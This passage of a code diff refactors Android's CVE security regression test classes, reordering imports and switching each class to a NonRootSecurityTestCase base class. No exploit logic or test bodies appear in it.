 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2035 extends SecurityTestCase {
+public class CVE_2019_2035 extends NonRootSecurityTestCase {
 
     /**
      * b/122320256
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
index 4fe0164..46c0eb4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2038 extends SecurityTestCase {
+public class CVE_2019_2038 extends NonRootSecurityTestCase {
 
     /**
      * b/121259048
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
index 6390340..f411ae1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2039 extends SecurityTestCase {
+public class CVE_2019_2039 extends NonRootSecurityTestCase {
 
     /**
      * b/121260197
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
index 6c6d239..062248a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2040 extends SecurityTestCase {
+public class CVE_2019_2040 extends NonRootSecurityTestCase {
 
     /**
      * b/122316913
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
index e36c46f..a3f6307 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2044 extends SecurityTestCase {
+public class CVE_2019_2044 extends NonRootSecurityTestCase {
 
     /**
      * b/123701862
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
index 16487a3..ab2517d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2099 extends SecurityTestCase {
+public class CVE_2019_2099 extends NonRootSecurityTestCase {
 
     /**
      * b/123583388
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
index 1f3552c..6aee640 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2115 extends SecurityTestCase {
+public class CVE_2019_2115 extends NonRootSecurityTestCase {
 
     /**
      * b/129768470
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
index fe06a73..cc9e24d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
@@ -16,15 +16,16 @@
 
 package android.security.cts;
 
-import com.android.tradefed.device.ITestDevice;
-
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2135 extends SecurityTestCase {
+public class CVE_2019_2135 extends NonRootSecurityTestCase {
 
     /**
      * b/125900276
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
index 91b2000..cc50bb7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2136 extends SecurityTestCase {
+public class CVE_2019_2136 extends NonRootSecurityTestCase {
 
     /**
      * b/132650049
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
index 223e768..492010b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
@@ -18,12 +18,15 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2178 extends SecurityTestCase {
+public class CVE_2019_2178 extends NonRootSecurityTestCase {
 
     /**
      * b/124462242
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
index 31ab4ce..ae8f7ed 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
@@ -18,13 +18,14 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2180 extends SecurityTestCase {
+public class CVE_2019_2180 extends NonRootSecurityTestCase {
 
     /**
      * b/110899492
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
index 15fab83..b393d26 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2206 extends SecurityTestCase {
+public class CVE_2019_2206 extends NonRootSecurityTestCase {
 
     /**
      * b/139188579
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
index 7ce43c7..1951c67 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2207 extends SecurityTestCase {
+public class CVE_2019_2207 extends NonRootSecurityTestCase {
 
     /**
      * b/124524315
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
index dbd7cc8..fe3ff06 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_9247 extends SecurityTestCase {
+public class CVE_2019_9247 extends NonRootSecurityTestCase {
 
    /**
      * b/120426166
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
index 58a2449..282a677 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0006 extends SecurityTestCase {
+public class CVE_2020_0006 extends NonRootSecurityTestCase {
 
    /**
      * b/139738828
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
index 3aa0474..32a1e6c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
@@ -23,13 +23,13 @@
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0015 extends NonRootSecurityTestCase {
 
     @AppModeFull
     @AsbSecurityTest(cveBugId = 139017101)
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
index 1207d1a..5cae196 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0018.java
@@ -16,21 +16,25 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
-import java.util.Scanner;
-
-import static org.hamcrest.core.Is.is;
 import static org.hamcrest.CoreMatchers.not;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import static org.hamcrest.core.Is.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assume.assumeThat;
 import static org.junit.matchers.JUnitMatchers.containsString;
 
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Scanner;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0018 extends SecurityTestCase {
+public class CVE_2020_0018 extends NonRootSecurityTestCase {
 
     /**
      * b/139945049
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
index 6689459..3d054f0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -18,17 +18,17 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
-
 import java.util.Arrays;
-import java.util.ArrayList;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0034 extends SecurityTestCase {
+public class CVE_2020_0034 extends NonRootSecurityTestCase {
 
     /**
      * b/62458770
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
index 3a87304..8e913fa 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0037 extends SecurityTestCase {
+public class CVE_2020_0037 extends NonRootSecurityTestCase {
 
     /**
      * b/143106535
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
index c197972..3239482 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0038 extends SecurityTestCase {
+public class CVE_2020_0038 extends NonRootSecurityTestCase {
 
     /**
      * b/143109193
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
index 76ce470..eaf4141 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
@@ -17,13 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0039 extends SecurityTestCase {
+public class CVE_2020_0039 extends NonRootSecurityTestCase {
 
     /**
      * b/143155861
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
index 7c00d84..83e6b7a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0072 extends SecurityTestCase {
+public class CVE_2020_0072 extends NonRootSecurityTestCase {
 
     /**
      * b/147310271
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 7a09a25..8f285d0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -20,6 +20,7 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -28,7 +29,7 @@
 import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0073 extends SecurityTestCase {
+public class CVE_2020_0073 extends NonRootSecurityTestCase {
 
     /**
      * b/147309942
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
index 614447c..f523d47 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
@@ -17,12 +17,15 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0226 extends SecurityTestCase {
+public class CVE_2020_0226 extends NonRootSecurityTestCase {
 
     /**
      * b/150226994
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
index 237ed83..a6609a4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
@@ -20,15 +20,16 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import java.util.regex.Pattern;
-
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.regex.Pattern;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0241 extends SecurityTestCase {
+public class CVE_2020_0241 extends NonRootSecurityTestCase {
 
     /**
      * b/151456667
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
index 2ba62bf..59c7370 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
@@ -17,13 +17,16 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0243 extends SecurityTestCase {
+public class CVE_2020_0243 extends NonRootSecurityTestCase {
 
     /**
      * b/151644303
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
index 2bc254e..094eaea 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
@@ -19,7 +19,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -27,7 +27,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0338 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0338 extends NonRootSecurityTestCase {
 
     @AppModeFull
     @AsbSecurityTest(cveBugId = 123700107)
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
index 12edb1a..524f2d6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -20,18 +20,19 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Arrays;
 import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0381 extends SecurityTestCase {
+public class CVE_2020_0381 extends NonRootSecurityTestCase {
 
     /**
      * b/150159669
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
index 72765d6..5bdf017 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -20,18 +20,19 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Arrays;
 import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0383 extends SecurityTestCase {
+public class CVE_2020_0383 extends NonRootSecurityTestCase {
 
     /**
      * b/150160279
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
index 34c66de..000e970 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -20,18 +20,19 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Arrays;
 import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0384 extends SecurityTestCase {
+public class CVE_2020_0384 extends NonRootSecurityTestCase {
 
     /**
      * b/150159906
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
index 0f9e7d2..b9ba127 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -20,18 +20,19 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Arrays;
 import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0385 extends SecurityTestCase {
+public class CVE_2020_0385 extends NonRootSecurityTestCase {
 
     /**
      * b/150160041
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
index bff13f3..eac0339 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
@@ -18,12 +18,15 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0420 extends SecurityTestCase {
+public class CVE_2020_0420 extends NonRootSecurityTestCase {
 
     /**
      * b/162383705
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
index 27e202c..63c8128 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0448.java
@@ -18,7 +18,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
